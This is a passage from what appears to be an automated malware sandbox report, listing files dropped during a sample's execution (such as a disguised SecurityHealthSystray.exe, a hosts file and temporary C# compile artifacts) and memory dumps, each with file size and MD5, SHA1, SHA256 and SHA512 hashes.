36cbb00b016c9f97645fb628ef72b524dfbdf6e08d626e5c837bbbb9075dcb52

SHA512
c192ea9810fd22de8378269235c1035aa1fe1975a53c876fe4a7acc726c020f94773c21e4e4771133f9fcedb0209f0a5324c594c1db5b28fe1b27644db4fdc9e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3ac102a242951c2d9c84955d39a30a76

SHA1
d85b46ddcb8a895a384c5399d7de95bb9eba8446

SHA256
c8909b2b4a5366f114b25f4c514ab5faea6d1f61b3cbdcf3f1f2336d7b76a54c

SHA512
8d798c9751c7337907352795b4c831f05da1f3fd966eec5b771f661ec3b59c3f706f90a7d1484763a9b2ba363672927847ebf5cb85f4785683d7abefbea50111

Download Submit
C:\Users\Admin\AppData\Local\Temp\1y5gtfyb\1y5gtfyb.dll

Filesize
4KB

MD5
a21b9920cf9d4f482a97ed4d9459b25a

SHA1
a0966985667dabd001af63d2167641e88eb6f428

SHA256
3579978f5c3ffefc05937e8f0f0494724935e148b6e2bb9ea6fcf7cd33d9294c

SHA512
82ae9717b8dc58b88a2f0a62f1ddac7933b01a0f02b731b237822dc3e001c9c6a9998a8687723e436e830079f58251202584b62f444ecd83197e7dba9c14345b

Download Submit
C:\Users\Admin\AppData\Local\Temp\NJx2bvlD5y\Display (1).png

Filesize
396KB

MD5
778dd99025d45572a559eea3f5edd7b3

SHA1
2d68d6e363e6b8200e66cbb2ca3602fb7e498ab8

SHA256
de9355e80bf0558ea685dae9fcf4e8b9f2c935415b9de291371bcca9af98f69b

SHA512
cd5b941db19501ba7ce39c295acc6725f93318be688618f0cc207afe90a31ed00a7f9cf7d896c1e30e2d01e6c1f40e2b729fb0f9e6241ec22dc9abd6935602b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6CA4.tmp

Filesize
1KB

MD5
a8f06c8ed2c264f71b4d47d36561dadd

SHA1
b43109d203d61aed883354b450dc3dd9e384f210

SHA256
89cbc34e029d1d5b61922a7b472fa936f7a3d9ff137bb8f143d383a6e14f0dc3

SHA512
109252934e0626464e873ab684816e91388dc1cf3da140f698b0a14fa0c27d25b3ae850a4a1c85809cfa4de8078a478b72e1c3dec48a0ce7b95766e798abe540

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zv4yilye.2md.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.9MB

MD5
2f04d8cb1c20951d42ea014dc62f3863

SHA1
36b1683a309af4c482306683a22e47b46d26d38a

SHA256
efa8951bc09bf56acd7501f9058920efef6d1766f22f65126bb53e82b6c4a4bf

SHA512
14ecab3ed45401005ad2571cb7a62ee1208c4ced11e8369b31a2515daba0763840bcbefba02fd283864bb2307715dd8747f32ec51f109ef6c28b7cfff9c98c33

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1y5gtfyb\1y5gtfyb.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1y5gtfyb\1y5gtfyb.cmdline

Filesize
607B

MD5
ceefba5e1e804d33602cbce785a5b27c

SHA1
7b5ac735b9629b149f7d047d59babb7cd4027597

SHA256
01114e02fa175efba049c82433c8f25fb3fb6a001e885697dc317d511913956f

SHA512
831fa4a3542f1038e0cc9cbe9c613a88570585681b44aee1a6e1d84a4dbbed0b54cbd5639ed1016ed646c77595849f508ae2004f6c37ddabaffee47ae69e47f1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1y5gtfyb\CSC5B892C34B7B54C309453F37281E7399B.TMP

Filesize
652B

MD5
34779a2470908d9026f2fa32ea3ea7cc

SHA1
b1790d90b4ff9dab752a289ae57fc85a0616581f

SHA256
b38385ef96fac7fb9b0f4aa426b27bfe7c80a6b6c591a972ecbe676d01b3edc8

SHA512
b079ba611e485811536cd6fd65b993630b8a87aae60ee9598721df32ed70e49922a375c64e0ebb5767100c971f43a0c4c617f185dde0cedcad49dfa9c4f103bb

Download Submit
memory/232-19-0x00007FF8E1410000-0x00007FF8E1ED2000-memory.dmp

Filesize
10.8MB

Download
memory/232-0-0x00007FF8E1413000-0x00007FF8E1415000-memory.dmp

Filesize
8KB

Download
memory/232-15-0x00007FF8E1410000-0x00007FF8E1ED2000-memory.dmp

Filesize
10.8MB

Download
memory/232-14-0x00007FF8E1410000-0x00007FF8E1ED2000-memory.dmp

Filesize
10.8MB

Download
memory/232-12-0x00007FF8E1410000-0x00007FF8E1ED2000-memory.dmp

Filesize
10.8MB

Download
memory/232-11-0x000001C7D01C0000-0x000001C7D01E2000-memory.dmp

Filesize
136KB

Download
memory/1868-56-0x0000024B9C9E0000-0x0000024B9C9E8000-memory.dmp

Filesize
32KB

Download